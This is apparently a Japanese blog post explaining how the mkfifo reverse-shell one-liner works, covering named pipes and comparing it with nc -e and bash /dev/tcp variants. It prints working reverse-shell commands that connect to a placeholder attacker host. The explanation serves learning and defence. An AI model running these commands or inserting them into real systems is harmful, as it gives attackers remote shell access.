🗂

リバースシェルの解説(mkfifo編)

に公開

攻撃コマンドの紹介

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <Port> > /tmp/f

mkfifoとか使われているの見たことないよね

mkfifoは名前付きパイプとして認識されるファイルらしきものを作成するコマンドである。
名前付きパイプが日常的にシェルで使われている例に遭遇することはほとんどないと思う。

名前付きパイプをls -lで見てみるとpと表示されている。

# ll
total 0
prw-r--r-- 1 root root 0 Jul 27 23:15 hogepipe

普段シェルでコマンドを実行する時に、|で標準出力を渡すことはよくあると思う。
名前付きパイプはこれをファイル(らしきもの)を経由して標準出力を受け渡せるようにしたものだ。

これはシェルのプロンプトを二つ開いて以下のようなことをすると動作が理解できる。

  1. mkfifoで名前付きパイプを作成する
  2. catで名前付きパイプを開く(何も表示されずに待機状態になる)
  3. もう一つのプロンプトからechoで名前付きパイプに何かを書き込む
  4. catしていた方にechoの出力が表示されてコマンドが終了する

echoとcatの順序を逆にすると反対にechoが待機状態になり、catで読み込んだらechoコマンドが終了することになる。

攻撃コマンドの解説

rm -f /tmp/f; mkfifo /tmp/f;

rmの部分は念の為、既に存在するファイルがあるとうまくいかないので最初に削除しているだけだ。

mkfifo /tmp/fは先ほどの説明の通り/tmp/fという名前付きパイプを作成している。

cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <Port> > /tmp/f

ここからが重要。
catで/tmp/fの名前付きパイプを読み込んでいる。
名前付きパイプから標準入力でデータが送られてきたらそれを読み取りbashに渡している。

bashは受け取ったデータをコマンドとして実行する。
実行結果は標準出力としてncに渡される。

ncは受け取ったデータをネットワーク接続先に送信する(ここで攻撃者はbashの標準出力を受け取る)
そしてncから返ってきたデータを/tmp/fにリダイレクトする(攻撃者が送り込んだコマンド)

そしてまたcatが/tmp/fを経由してデータを読み取り、bashに渡されるの無限ループが続く。

この攻撃手法の特徴

bashの機能すら使わずに標準的なLinuxの機能のみで実現しているため汎用性が非常に高い。

nc -eだとeオプションは最近セキュリティ観点で使えないケースも多い。
またbash -i &> /dev/tcp/<IP>/<Port> 2>&1はbashの拡張機能を使っているためbashでないと使えないケースもある。
その他にもPythonやPerlを使ったリバースシェルもあるが、もちろんランタイムがないと使えない。

そのためこの攻撃手法は非常に汎用性が高いものだといえる。

Discussion